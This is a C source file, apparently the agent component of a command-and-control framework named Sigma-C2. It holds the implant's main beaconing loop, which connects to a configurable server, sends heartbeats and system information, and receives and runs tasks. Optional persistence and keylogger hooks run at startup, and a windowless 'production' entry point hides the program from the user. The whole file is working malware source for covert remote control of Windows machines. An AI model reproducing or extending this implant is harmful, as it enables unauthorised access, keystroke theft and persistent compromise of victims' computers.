Sigma-C2/agent/agent.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "log.h"
#include "config.h"
#include "commands.c"
#include "files.c"
#include "info.c"
#include "modules.c"
#include "navigation.c"
#include "processes.c"
#include "transport.c"

// Buffer to store startup tasks result
char startup_result[1024];

#if TESTING_BUILD
    char* server_domains[] = {"192.168.1.4"};
    int startup_delay = 0;
    
    #if USE_SSL
        unsigned short int server_port = 8443;
        char agent_id[] = "SwiftTiger";
    #elif USE_HTTPS
        unsigned short server_port = 8880;
        char agent_id[] = "NimbleKoala";
    #else 
        unsigned short int server_port = 8888;
        char agent_id[] = "DirtyFox";
    #endif
#else
    char agent_id[] = "PLACEHOLDER_AGENT_ID";
    char* server_domains[] = {"PLACEHOLDER_SERVER_ADDR"};
    unsigned short int server_port = 54321;
    int startup_delay = 1298;
#endif

// Count number of domains in arrays
unsigned short int domain_count = sizeof(server_domains) / sizeof(server_domains[0]);

int reconnect_delay = 5678;
int keylog_delay = 30000;
short int first_connection = 0;

#if ENABLE_KEYLOGGER
    HANDLE hKeylogThread = NULL;
    HANDLE hKeylogTimerThread = NULL;
#endif


// Receive response after heartbeat
void ReceiveResponse(Transport* transport) {
    char buffer1[STANDARD_BUFF + 1];
    unsigned char* buffer2 = NULL;
    size_t buffer2_size = 0;

    #if USE_HTTP
        int bytes_received = transport->recv_alloc(transport->handle, buffer1, &buffer2, sizeof(buffer1) - 1, &buffer2_size);
    #else
        int bytes_received = transport->recv(transport->handle, buffer1, sizeof(buffer1) - 1);
        buffer1[bytes_received] = '\0'; // Null terminate to get rid of garbage
    #endif

    if (bytes_received <= 0) {
        LOG("Error receiving message from server\n");
        return;
    }
    LOG("Message from server: %s\n", buffer1);

    // PrintHEX(buffer2, buffer2_size, 32);

    // Check if there is a task to do
    if (strncmp(buffer1, "TASK", 4) == 0) {
        LOG("Received task from server\n");
        char* taskID = strtok(buffer1 + 4, "~");
        char* taskType = strtok(NULL, "~");
        char* taskArgs = strtok(NULL, "");
        LOG("Task ID: %s\n", taskID);
        LOG("Task type: %s\n", taskType);
        LOG("Task args: %s\n", taskArgs);
        if (taskType) {
            HandleTask(transport, taskID, taskType, taskArgs, buffer2);
        } else {
            SendTaskResult(transport, "", "Invalid task format\n");
        }
    } else if (strcmp(buffer1, "ACK") == 0) {
        LOG("Message acknowledged by server\n");
    }
}

// Check-in with server
void SendHeartbeat(Transport* transport) {
    char heartbeat_message[32];
    snprintf(heartbeat_message, sizeof(heartbeat_message), "%s~HEARTBEAT", agent_id);

    int sent = transport->send(transport->handle, heartbeat_message, strlen(heartbeat_message));
    if (sent <= 0) {
        LOG_ERROR("Error: Failed to send heartbeat, returned %d\n", sent);
        CleanupTransport(transport);
        return;
    }
    LOG("Heartbeat sent successfully, bytes sent: %d\n", sent);
    ReceiveResponse(transport);
}

// Window mode for development to see output
#if TESTING_BUILD
    int main() {
        if (first_connection) {
            LOG("Initial startup delay for %d milliseconds...\n", startup_delay);
            Sleep(startup_delay);
        }

        #if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
            CheckPersistence(startup_result);
        #endif

        #if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
            InitKeylogger(startup_result);
        #endif

        // Testing
        WSADATA wsaData;
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
            LOG_ERROR("Error: WSAStartup failed, error %d\n", WSAGetLastError());
            return 0;
        }

        // Main loop for communication with server
        while (1) {
            Transport* transport = InitTransport(GetNextDomain(), server_port);
            if (!transport) {
                LOG("Connection failed. Retrying in %d seconds...\n", reconnect_delay / 1000);
                Sleep(reconnect_delay);
                continue;
            }
            LOG("Connected to server\n");

            if (first_connection) {
                SendSysInfo(startup_result);
                SendTaskResult(transport, "SYSINFO", startup_result);
                first_connection = 0;
            } else {
                LOG("Trying to send heartbeat\n");
                SendHeartbeat(transport);
            }
            CleanupTransport(transport);

            LOG("Disconnecting from server\n");

            Sleep(reconnect_delay);
        }
        return 0;
    }
#else
    // Windows-less mode for production
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

        if (first_connection) {
            LOG("Initial startup delay for %d milliseconds...\n", startup_delay);
            Sleep(startup_delay);
        }

        #if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
            CheckPersistence(startup_result);
        #endif

        #if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
            InitKeylogger(startup_result);
        #endif

        // Initialize once
        WSADATA wsaData;
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
            LOG_ERROR("Error: WSAStartup failed, error %d\n", WSAGetLastError());
            return 0;
        }

        // Main loop for communication with server
        while (1) {
            Transport* transport = InitTransport(GetNextDomain(), server_port);
            if (!transport) {
                LOG_ERROR("Connection failed. Retrying in %d seconds...\n", reconnect_delay / 1000);
                Sleep(reconnect_delay);
                continue;
            }
            LOG("Connected to server\n");

            if (first_connection) {
                SendSysInfo(startup_result);
                SendTaskResult(transport, "SYSINFO", startup_result);
                first_connection = 0;
            } else {
                LOG("Trying to send heartbeat\n");
                SendHeartbeat(transport);
            }

            // int sent = transport->send(transport->handle, "FINISH", strlen("FINISH"));
            // if (sent <= 0) {
            //     LOG_ERROR("Error: Failed to send \"FINISH\", returned %d\n", sent);
            //     CleanupTransport(transport);
            //     return;
            // }
            
            CleanupTransport(transport);

            LOG("Disconnecting from server\n");

            Sleep(reconnect_delay);
        }
        return 0;
    }
#endif